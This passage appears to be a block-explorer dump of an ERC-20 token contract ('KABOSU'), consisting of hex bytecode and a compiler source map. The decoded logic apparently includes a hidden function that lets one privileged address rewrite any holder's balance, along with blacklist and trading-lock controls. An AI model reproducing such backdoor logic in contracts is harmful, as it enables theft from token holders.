060006114f961155f565b909250905061150882826108ab565b9250505090565b600080808061151e8886610822565b9050600061152c8887610822565b9050600061153a8888610822565b9050600061154c826114d68686611388565b939b939a50919850919650505050505050565b600754600090819066038d7ea4c6800061157982826108ab565b8210156115945750506007549266038d7ea4c6800092509050565b90939092509050565b600060208083528351808285015260005b818110156115ca578581018301518582016040015282016115ae565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060d57600080fd5b60006020828403121561161257600080fd5b81356108a4816115eb565b6000806040838503121561163057600080fd5b823561163b816115eb565b946020939093013593505050565b60008060006060848603121561165e57600080fd5b8335611669816115eb565b92506020840135611679816115eb565b929592945050506040919091013590565b6000806040838503121561169d57600080fd5b82356116a8816115eb565b915060208301356116b8816115eb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610518576105186116f8565b60008261174257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610518576105186116f8565b81810381811115610518576105186116f8565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561179557600080fd5b81516108a4816115eb565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117f05784516001600160a01b0316835293830193918301916001016117cb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122067c94e79b2d5e61788d121aec2c3ee09f0f4fd9f1a56ea8cc44a7d1f76a310d664736f6c63430008110033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063bfd792841161006f578063bfd79284146103d1578063c3c8cd8014610401578063c6067ce314610416578063d00efb2f14610436578063dd62ed3e1461044c578063f2fde38b1461049257600080fd5b8063715018a6146103235780637d1db4a5146103385780638da5cb5b1461034e5780638f9a55c01461036c57806395d89b4114610382578063a9059cbb146103b157600080fd5b80632fd689e3116101085780632fd689e314610271578063313ce5671461028757806349bd5a5e146102a357806363dd5712146102c35780636fc3eaec146102d857806370a08231146102ed57600080fd5b806306fdde031461015b57806307980cb9146101a3578063095ea7b3146101c55780631694505e146101f557806318160ddd1461022d57806323b872dd1461025157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600d81526c25b0b137b9ba9021b0b731b2b960991b60208201525b60405161019a919061159d565b60405180910390f35b3480156101af57600080fd5b506101c36101be366004611600565b6104b2565b005b3480156101d157600080fd5b506101e56101e036600461161d565b610507565b604051901515815260200161019a565b34801561020157600080fd5b50601654610215906001600160a01b031681565b6040516001600160a01b03909116815260200161019a565b34801561023957600080fd5b5066038d7ea4c680005b60405190815260200161019a565b34801561025d57600080fd5b506101e561026c366004611649565b61051e565b34801561027d57600080fd5b50610243601b5481565b34801561029357600080fd5b506040516009815260200161019a565b3480156102af57600080fd5b50601754610215906001600160a01b031681565b3480156102cf57600080fd5b506101c3610587565b3480156102e457600080fd5b506101c36105c5565b3480156102f957600080fd5b50610243610308366004611600565b6001600160a01b031660009081526002602052604090205490565b34801561032f57600080fd5b506101c3610610565b34801561034457600080fd5b5061024360195481565b34801561035a57600080fd5b506000546001600160a01b0316610215565b34801561037857600080fd5b50610243601a5481565b34801561038e57600080fd5b506040805180820190915260068152654b41424f535560d01b602082015261018d565b3480156103bd57600080fd5b506101e56103cc36600461161d565b610684565b3480156103dd57600080fd5b506101e56103ec366004611600565b60126020526000908152604090205460ff1681565b34801561040d57600080fd5b506101c3610691565b34801561042257600080fd5b506101c361043136600461161d565b6106e8565b34801561044257600080fd5b5061024360095481565b34801561045857600080fd5b5061024361046736600461168a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101c36104ad366004611600565b610738565b6000546001600160a01b031633146104e55760405162461bcd60e51b81526004016104dc906116c3565b60405180910390fd5b601880546001600160a01b0319166001600160a01b0392909216919091179055565b60006105143384846108ed565b5060015b92915050565b600061052b848484610a11565b61057d843361057885604051806060016040528060288152602001611812602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f6d565b6108ed565b5060019392505050565b6000546001600160a01b031633146105b15760405162461bcd60e51b81526004016104dc906116c3565b68056bc75e2d631000006019819055601a55565b6014546001600160a01b0316336001600160a01b031614806105fa57506015546001600160a01b0316336001600160a01b0316145b61060357600080fd5b4761060d81610fa7565b50565b6000546001600160a01b0316331461063a5760405162461bcd60e51b81526004016104dc906116c3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610514338484610a11565b6014546001600160a01b0316336001600160a01b031614806106c657506015546001600160a01b0316336001600160a01b0316145b6106cf57600080fd5b3060009081526002602052604090205461060d81611030565b6018546001600160a01b0316331461071c5760405162461bcd60e51b815260206004820152600060248201526044016104dc565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146107625760405162461bcd60e51b81526004016104dc906116c3565b6001600160a01b0381166107c75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104dc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361083457506000610518565b6000610840838561170e565b90508261084d8583611725565b146108a45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104dc565b9392505050565b60006108a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111aa565b6001600160a01b03831661094f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104dc565b6001600160a01b0382166109b05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104dc565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104dc565b6001600160a01b038216610ad75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104dc565b60008111610b395760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104dc565b6000546001600160a01b03848116911614801590610b6557506000546001600160a01b03838116911614155b15610e6057601854600160a01b900460ff1615610bff576000546001600160a01b03848116911614610bff5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104dc565b601954811115610c515760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104dc565b6001600160a01b03831660009081526012602052604090205460ff16158015610c9357506001600160a01b03821660009081526012602052604090205460ff16155b610ceb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016104dc565b6017546001600160a01b03838116911614610d8657601a5481610d23846001600160a01b031660009081526002602052604090205490565b610d2d9190611747565b10610d865760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104dc565b30600090815260026020526040902054601b5460195490821015908210610dad5760195491505b808015610dc45750601854600160a81b900460ff16155b8015610dde57506017546001600160a01b03868116911614155b8015610df35750601854600160b01b900460ff165b8015610e1857506001600160a01b03851660009081526006602052604090205460ff16155b8015610e3d57506001600160a01b03841660009081526006602052604090205460ff16155b15610e5d57610e4b82611030565b478015610e5b57610e5b47610fa7565b505b50505b6001600160a01b03831660009081526006602052604090205460019060ff1680610ea257506001600160a01b03831660009081526006602052604090205460ff165b80610ed457506017546001600160a01b03858116911614801590610ed457506017546001600160a01b03848116911614155b15610ee157506000610f5b565b6017546001600160a01b038581169116148015610f0c57506016546001600160a01b03848116911614155b15610f1e57600a54600e55600b54600f555b6017546001600160a01b038481169116148015610f4957506016546001600160a01b03858116911614155b15610f5b57600c54600e55600d54600f555b610f67848484846111d8565b50505050565b60008184841115610f915760405162461bcd60e51b81526004016104dc919061159d565b506000610f9e848661175a565b95945050505050565b6014546001600160a01b03166108fc610fc18360026108ab565b6040518115909202916000818181858888f19350505050158015610fe9573d6000803e3d6000fd5b506015546001600160a01b03166108fc6110048360026108ab565b6040518115909202916000818181858888f1935050505015801561102c573d6000803e3d6000fd5b5050565b6018805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110785761107861176d565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f59190611783565b816001815181106111085761110861176d565b6001600160a01b03928316602091820292909201015260165461112e91309116846108ed565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906111679085906000908690309042906004016117a0565b600060405180830381600087803b15801561118157600080fd5b505af1158015611195573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b600081836111cb5760405162461bcd60e51b81526004016104dc919061159d565b506000610f9e8486611725565b806111e5576111e5611206565b6111f0848484611234565b80610f6757610f67601054600e55601154600f55565b600e541580156112165750600f54155b1561121d57565b600e8054601055600f805460115560009182905555565b6000806000806000806112468761132b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112789087611388565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112a790866113ca565b6001600160a01b0389166000908152600260205260409020556112c981611429565b6112d38483611473565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131891815260200190565b60405180910390a3505050505050505050565b60008060008060008060008060006113488a600e54600f54611497565b92509250925060006113586114ec565b9050600080600061136b8e87878761150f565b919e509c509a509598509396509194505050505091939550919395565b60006108a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f6d565b6000806113d78385611747565b9050838110156108a45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104dc565b60006114336114ec565b905060006114418383610822565b3060009081526002602052604090205490915061145e90826113ca565b30600090815260026020526040902055505050565b6007546114809083611388565b60075560085461149090826113ca565b6008555050565b60008080806114b160646114ab8989610822565b906108ab565b905060006114c460646114ab8a89610822565b905060006114dc826114d68b86611388565b90611388565b9992985090965090945050505050565b60008060006114f961155f565b909250905061150882826108ab565b9250505090565b600080808061151e8886610822565b9050600061152c8887610822565b9050600061153a8888610822565b9050600061154c826114d68686611388565b939b939a50919850919650505050505050565b600754600090819066038d7ea4c6800061157982826108ab565b8210156115945750506007549266038d7ea4c6800092509050565b90939092509050565b600060208083528351808285015260005b818110156115ca578581018301518582016040015282016115ae565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060d57600080fd5b60006020828403121561161257600080fd5b81356108a4816115eb565b6000806040838503121561163057600080fd5b823561163b816115eb565b946020939093013593505050565b60008060006060848603121561165e57600080fd5b8335611669816115eb565b92506020840135611679816115eb565b929592945050506040919091013590565b6000806040838503121561169d57600080fd5b82356116a8816115eb565b915060208301356116b8816115eb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610518576105186116f8565b60008261174257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610518576105186116f8565b81810381811115610518576105186116f8565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561179557600080fd5b81516108a4816115eb565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117f05784516001600160a01b0316835293830193918301916001016117cb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122067c94e79b2d5e61788d121aec2c3ee09f0f4fd9f1a56ea8cc44a7d1f76a310d664736f6c63430008110033

Deployed Bytecode Sourcemap

4168:12533:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6800:83;;;;;;;;;;-1:-1:-1;6870:5:0;;;;;;;;;;;;-1:-1:-1;;;6870:5:0;;;;6800:83;;;;;;;:::i;:::-;;;;;;;;12399:103;;;;;;;;;;-1:-1:-1;12399:103:0;;;;;:::i;:::-;;:::i;:::-;;7711:193;;;;;;;;;;-1:-1:-1;7711:193:0;;;;;:::i;:::-;;:::i;:::-;;;1440:14:1;;1433:22;1415:41;;1403:2;1388:18;7711:193:0;1275:187:1;5576:41:0;;;;;;;;;;-1:-1:-1;5576:41:0;;;;-1:-1:-1;;;;;5576:41:0;;;;;;-1:-1:-1;;;;;1657:32:1;;;1639:51;;1627:2;1612:18;5576:41:0;1467:229:1;7080:95:0;;;;;;;;;;-1:-1:-1;4768:15:0;7080:95;;;1847:25:1;;;1835:2;1820:18;7080:95:0;1701:177:1;7913:446:0;;;;;;;;;;-1:-1:-1;7913:446:0;;;;;:::i;:::-;;:::i;5930:61::-;;;;;;;;;;;;;;;;6988:83;;;;;;;;;;-1:-1:-1;6988:83:0;;4395:1;2486:36:1;;2474:2;2459:18;6988:83:0;2344:184:1;5624:28:0;;;;;;;;;;-1:-1:-1;5624:28:0;;;;-1:-1:-1;;;;;5624:28:0;;;15563:141;;;;;;;;;;;;;:::i;12886:235::-;;;;;;;;;;;;;:::i;7184:117::-;;;;;;;;;;-1:-1:-1;7184:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7277:16:0;7250:7;7277:16;;;:7;:16;;;;;;;7184:117;1638:148;;;;;;;;;;;;;:::i;5802:55::-;;;;;;;;;;;;;;;;1422:79;;;;;;;;;;-1:-1:-1;1460:7:0;1487:6;-1:-1:-1;;;;;1487:6:0;1422:79;;5865:57;;;;;;;;;;;;;;;;6892:87;;;;;;;;;;-1:-1:-1;6964:7:0;;;;;;;;;;;;-1:-1:-1;;;6964:7:0;;;;6892:87;;7310:199;;;;;;;;;;-1:-1:-1;7310:199:0;;;;;:::i;:::-;;:::i;5270:36::-;;;;;;;;;;-1:-1:-1;5270:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12641:236;;;;;;;;;;;;;:::i;12514:121::-;;;;;;;;;;-1:-1:-1;12514:121:0;;;;;:::i;:::-;;:::i;4864:26::-;;;;;;;;;;;;;;;;7518:184;;;;;;;;;;-1:-1:-1;7518:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7667:18:0;;;7635:7;7667:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7518:184;1795:244;;;;;;;;;;-1:-1:-1;1795:244:0;;;;;:::i;:::-;;:::i;12399:103::-;1550:6;;-1:-1:-1;;;;;1550:6:0;248:10;1550:22;1542:67;;;;-1:-1:-1;;;1542:67:0;;;;;;;:::i;:::-;;;;;;;;;12466:12:::1;:27:::0;;-1:-1:-1;;;;;;12466:27:0::1;-1:-1:-1::0;;;;;12466:27:0;;;::::1;::::0;;;::::1;::::0;;12399:103::o;7711:193::-;7813:4;7835:39;248:10;7858:7;7867:6;7835:8;:39::i;:::-;-1:-1:-1;7892:4:0;7711:193;;;;;:::o;7913:446::-;8045:4;8062:36;8072:6;8080:9;8091:6;8062:9;:36::i;:::-;8109:220;8132:6;248:10;8180:138;8236:6;8180:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8180:19:0;;;;;;:11;:19;;;;;;;;248:10;8180:33;;;;;;;;;;:37;:138::i;:::-;8109:8;:220::i;:::-;-1:-1:-1;8347:4:0;7913:446;;;;;:::o;15563:141::-;1550:6;;-1:-1:-1;;;;;1550:6:0;248:10;1550:22;1542:67;;;;-1:-1:-1;;;1542:67:0;;;;;;;:::i;:::-;15628:20:::1;15613:12;:35:::0;;;15659:14:::1;:37:::0;15563:141::o;12886:235::-;12952:19;;-1:-1:-1;;;;;12952:19:0;248:10;-1:-1:-1;;;;;12936:35:0;;:72;;;-1:-1:-1;12991:17:0;;-1:-1:-1;;;;;12991:17:0;248:10;-1:-1:-1;;;;;12975:33:0;;12936:72;12928:81;;;;;;13049:21;13081:32;13049:21;13081:12;:32::i;:::-;12917:204;12886:235::o;1638:148::-;1550:6;;-1:-1:-1;;;;;1550:6:0;248:10;1550:22;1542:67;;;;-1:-1:-1;;;1542:67:0;;;;;;;:::i;:::-;1745:1:::1;1729:6:::0;;1708:40:::1;::::0;-1:-1:-1;;;;;1729:6:0;;::::1;::::0;1708:40:::1;::::0;1745:1;;1708:40:::1;1776:1;1759:19:::0;;-1:-1:-1;;;;;;1759:19:0::1;::::0;;1638:148::o;7310:199::-;7415:4;7437:42;248:10;7461:9;7472:6;7437:9;:42::i;12641:236::-;12707:19;;-1:-1:-1;;;;;12707:19:0;248:10;-1:-1:-1;;;;;12691:35:0;;:72;;;-1:-1:-1;12746:17:0;;-1:-1:-1;;;;;12746:17:0;248:10;-1:-1:-1;;;;;12730:33:0;;12691:72;12683:81;;;;;;12819:4;12775:23;7277:16;;;:7;:16;;;;;;12836:33;7277:16;12836;:33::i;12514:121::-;8401:12;;-1:-1:-1;;;;;8401:12:0;8418:10;8393:35;8384:51;;;;-1:-1:-1;;;8384:51:0;;3697:2:1;8384:51:0;;;3679:21:1;-1:-1:-1;3716:18:1;;;3709:29;3755:18;;8384:51:0;3495:284:1;8384:51:0;-1:-1:-1;;;;;12599:16:0;;::::1;;::::0;;;:7:::1;:16;::::0;;;;:25;12514:121::o;1795:244::-;1550:6;;-1:-1:-1;;;;;1550:6:0;248:10;1550:22;1542:67;;;;-1:-1:-1;;;1542:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1884:22:0;::::1;1876:73;;;::::0;-1:-1:-1;;;1876:73:0;;3986:2:1;1876:73:0::1;::::0;::::1;3968:21:1::0;4025:2;4005:18;;;3998:30;4064:34;4044:18;;;4037:62;-1:-1:-1;;;4115:18:1;;;4108:36;4161:19;;1876:73:0::1;3784:402:1::0;1876:73:0::1;1986:6;::::0;;1965:38:::1;::::0;-1:-1:-1;;;;;1965:38:0;;::::1;::::0;1986:6;::::1;::::0;1965:38:::1;::::0;::::1;2014:6;:17:::0;;-1:-1:-1;;;;;;2014:17:0::1;-1:-1:-1::0;;;;;2014:17:0;;;::::1;::::0;;;::::1;::::0;;1795:244::o;2640:246::-;2698:7;2722:1;2727;2722:6;2718:47;;-1:-1:-1;2752:1:0;2745:8;;2718:47;2775:9;2787:5;2791:1;2787;:5;:::i;:::-;2775:17;-1:-1:-1;2820:1:0;2811:5;2815:1;2775:17;2811:5;:::i;:::-;:10;2803:56;;;;-1:-1:-1;;;2803:56:0;;4920:2:1;2803:56:0;;;4902:21:1;4959:2;4939:18;;;4932:30;4998:34;4978:18;;;4971:62;-1:-1:-1;;;5049:18:1;;;5042:31;5090:19;;2803:56:0;4718:397:1;2803:56:0;2877:1;2640:246;-1:-1:-1;;;2640:246:0:o;2895:132::-;2953:7;2980:39;2984:1;2987;2980:39;;;;;;;;;;;;;;;;;:3;:39::i;9134:369::-;-1:-1:-1;;;;;9261:19:0;;9253:68;;;;-1:-1:-1;;;9253:68:0;;5322:2:1;9253:68:0;;;5304:21:1;5361:2;5341:18;;;5334:30;5400:34;5380:18;;;5373:62;-1:-1:-1;;;5451:18:1;;;5444:34;5495:19;;9253:68:0;5120:400:1;9253:68:0;-1:-1:-1;;;;;9340:21:0;;9332:68;;;;-1:-1:-1;;;9332:68:0;;5727:2:1;9332:68:0;;;5709:21:1;5766:2;5746:18;;;5739:30;5805:34;5785:18;;;5778:62;-1:-1:-1;;;5856:18:1;;;5849:32;5898:19;;9332:68:0;5525:398:1;9332:68:0;-1:-1:-1;;;;;9411:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9463:32;;1847:25:1;;;9463:32:0;;1820:18:1;9463:32:0;;;;;;;9134:369;;;:::o;9512:2217::-;-1:-1:-1;;;;;9634:18:0;;9626:68;;;;-1:-1:-1;;;9626:68:0;;6130:2:1;9626:68:0;;;6112:21:1;6169:2;6149:18;;;6142:30;6208:34;6188:18;;;6181:62;-1:-1:-1;;;6259:18:1;;;6252:35;6304:19;;9626:68:0;5928:401:1;9626:68:0;-1:-1:-1;;;;;9713:16:0;;9705:64;;;;-1:-1:-1;;;9705:64:0;;6536:2:1;9705:64:0;;;6518:21:1;6575:2;6555:18;;;6548:30;6614:34;6594:18;;;6587:62;-1:-1:-1;;;6665:18:1;;;6658:33;6708:19;;9705:64:0;6334:399:1;9705:64:0;9797:1;9788:6;:10;9780:64;;;;-1:-1:-1;;;9780:64:0;;6940:2:1;9780:64:0;;;6922:21:1;6979:2;6959:18;;;6952:30;7018:34;6998:18;;;6991:62;-1:-1:-1;;;7069:18:1;;;7062:39;7118:19;;9780:64:0;6738:405:1;9780:64:0;1460:7;1487:6;-1:-1:-1;;;;;9862:15:0;;;1487:6;;9862:15;;;;:32;;-1:-1:-1;1460:7:0;1487:6;-1:-1:-1;;;;;9881:13:0;;;1487:6;;9881:13;;9862:32;9858:1231;;;9918:11;;-1:-1:-1;;;9918:11:0;;;;9914:143;;;1460:7;1487:6;-1:-1:-1;;;;;9958:15:0;;;1487:6;;9958:15;9950:91;;;;-1:-1:-1;;;9950:91:0;;7350:2:1;9950:91:0;;;7332:21:1;7389:2;7369:18;;;7362:30;7428:34;7408:18;;;7401:62;7499:33;7479:18;;;7472:61;7550:19;;9950:91:0;7148:427:1;9950:91:0;10092:12;;10082:6;:22;;10074:63;;;;-1:-1:-1;;;10074:63:0;;7782:2:1;10074:63:0;;;7764:21:1;7821:2;7801:18;;;7794:30;7860;7840:18;;;7833:58;7908:18;;10074:63:0;7580:352:1;10074:63:0;-1:-1:-1;;;;;10161:10:0;;;;;;:4;:10;;;;;;;;10160:11;:24;;;;-1:-1:-1;;;;;;10176:8:0;;;;;;:4;:8;;;;;;;;10175:9;10160:24;10152:72;;;;-1:-1:-1;;;10152:72:0;;8139:2:1;10152:72:0;;;8121:21:1;8178:2;8158:18;;;8151:30;8217:34;8197:18;;;8190:62;-1:-1:-1;;;8268:18:1;;;8261:33;8311:19;;10152:72:0;7937:399:1;10152:72:0;10251:13;;-1:-1:-1;;;;;10245:19:0;;;10251:13;;10245:19;10242:146;;10318:14;;10309:6;10293:13;10303:2;-1:-1:-1;;;;;7277:16:0;7250:7;7277:16;;;:7;:16;;;;;;;7184:117;10293:13;:22;;;;:::i;:::-;:39;10285:87;;;;-1:-1:-1;;;10285:87:0;;8673:2:1;10285:87:0;;;8655:21:1;8712:2;8692:18;;;8685:30;8751:34;8731:18;;;8724:62;-1:-1:-1;;;8802:18:1;;;8795:33;8845:19;;10285:87:0;8471:399:1;10285:87:0;10454:4;10405:28;7277:16;;;:7;:16;;;;;;10514:19;;10578:12;;10490:43;;;;;10554:36;;10551:124;;10647:12;;10624:35;;10551:124;10696:7;:18;;;;-1:-1:-1;10708:6:0;;-1:-1:-1;;;10708:6:0;;;;10707:7;10696:18;:43;;;;-1:-1:-1;10726:13:0;;-1:-1:-1;;;;;10718:21:0;;;10726:13;;10718:21;;10696:43;:58;;;;-1:-1:-1;10743:11:0;;-1:-1:-1;;;10743:11:0;;;;10696:58;:87;;;;-1:-1:-1;;;;;;10759:24:0;;;;;;:18;:24;;;;;;;;10758:25;10696:87;:114;;;;-1:-1:-1;;;;;;10788:22:0;;;;;;:18;:22;;;;;;;;10787:23;10696:114;10692:386;;;10831:38;10848:20;10831:16;:38::i;:::-;10917:21;10961:22;;10957:106;;11008:35;11021:21;11008:12;:35::i;:::-;10812:266;10692:386;9896:1193;;9858:1231;-1:-1:-1;;;;;11140:24:0;;11102:12;11140:24;;;:18;:24;;;;;;11117:4;;11140:24;;;:50;;-1:-1:-1;;;;;;11168:22:0;;;;;;:18;:22;;;;;;;;11140:50;11139:102;;;-1:-1:-1;11204:13:0;;-1:-1:-1;;;;;11196:21:0;;;11204:13;;11196:21;;;;:44;;-1:-1:-1;11227:13:0;;-1:-1:-1;;;;;11221:19:0;;;11227:13;;11221:19;;11196:44;11135:532;;;-1:-1:-1;11268:5:0;11135:532;;;11320:13;;-1:-1:-1;;;;;11312:21:0;;;11320:13;;11312:21;:55;;;;-1:-1:-1;11351:15:0;;-1:-1:-1;;;;;11337:30:0;;;11351:15;;11337:30;;11312:55;11309:162;;;11400:14;;11388:9;:26;11443:12;;11433:7;:22;11309:162;11498:13;;-1:-1:-1;;;;;11492:19:0;;;11498:13;;11492:19;:55;;;;-1:-1:-1;11531:15:0;;-1:-1:-1;;;;;11515:32:0;;;11531:15;;11515:32;;11492:55;11488:165;;;11580:15;;11568:9;:27;11624:13;;11614:7;:23;11488:165;11680:41;11695:4;11701:2;11705:6;11713:7;11680:14;:41::i;:::-;9615:2114;9512:2217;;;:::o;2407:224::-;2527:7;2563:12;2555:6;;;;2547:29;;;;-1:-1:-1;;;2547:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2587:9:0;2599:5;2603:1;2599;:5;:::i;:::-;2587:17;2407:224;-1:-1:-1;;;;;2407:224:0:o;12230:160::-;12287:19;;-1:-1:-1;;;;;12287:19:0;:43;12316:13;:6;12327:1;12316:10;:13::i;:::-;12287:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12341:17:0;;-1:-1:-1;;;;;12341:17:0;:41;12368:13;:6;12379:1;12368:10;:13::i;:::-;12341:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12230:160;:::o;11738:483::-;6087:6;:13;;-1:-1:-1;;;;6087:13:0;-1:-1:-1;;;6087:13:0;;;11840:16:::1;::::0;;11854:1:::1;11840:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11840:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11840:16:0::1;11816:40;;11885:4;11867;11872:1;11867:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11867:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11911:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11911:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11867:7;;11911:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11901:4;11906:1;11901:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11901:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11976:15:::1;::::0;11944:62:::1;::::0;11961:4:::1;::::0;11976:15:::1;11994:11:::0;11944:8:::1;:62::i;:::-;12017:15;::::0;:196:::1;::::0;-1:-1:-1;;;12017:196:0;;-1:-1:-1;;;;;12017:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12098:11;;12017:15:::1;::::0;12140:4;;12167::::1;::::0;12187:15:::1;::::0;12017:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6123:6:0;:14;;-1:-1:-1;;;;6123:14:0;;;-1:-1:-1;;;;11738:483:0:o;3036:223::-;3156:7;3191:12;3184:5;3176:28;;;;-1:-1:-1;;;3176:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3215:9:0;3227:5;3231:1;3227;:5;:::i;13130:282::-;13286:7;13281:28;;13295:14;:12;:14::i;:::-;13320:44;13338:6;13346:9;13357:6;13320:17;:44::i;:::-;13380:7;13375:29;;13389:15;9064:17;;9052:9;:29;9102:15;;9092:7;:25;9008:117;8778:221;8825:9;;:14;:30;;;;-1:-1:-1;8843:7:0;;:12;8825:30;8821:43;;;8778:221::o;8821:43::-;8897:9;;;8877:17;:29;8935:7;;;8917:15;:25;-1:-1:-1;8956:13:0;;;;8980:11;8778:221::o;13421:610::-;13568:15;13598:23;13636:12;13663:23;13701:12;13728:13;13755:19;13766:7;13755:10;:19::i;:::-;-1:-1:-1;;;;;13803:15:0;;;;;;:7;:15;;;;;;13553:221;;-1:-1:-1;13553:221:0;;-1:-1:-1;13553:221:0;;-1:-1:-1;13553:221:0;-1:-1:-1;13553:221:0;-1:-1:-1;13553:221:0;-1:-1:-1;13803:28:0;;13553:221;13803:19;:28::i;:::-;-1:-1:-1;;;;;13785:15:0;;;;;;;:7;:15;;;;;;:46;;;;13863:18;;;;;;;:39;;13886:15;13863:22;:39::i;:::-;-1:-1:-1;;;;;13842:18:0;;;;;;:7;:18;;;;;:60;13913:16;13923:5;13913:9;:16::i;:::-;13940:23;13952:4;13958;13940:11;:23::i;:::-;13996:9;-1:-1:-1;;;;;13979:44:0;13988:6;-1:-1:-1;;;;;13979:44:0;;14007:15;13979:44;;;;1847:25:1;;1835:2;1820:18;;1701:177;13979:44:0;;;;;;;;13542:489;;;;;;13421:610;;;:::o;14454:618::-;14554:7;14576;14598;14620;14642;14664;14700:23;14725:12;14739:13;14769:40;14781:7;14790:9;;14801:7;;14769:1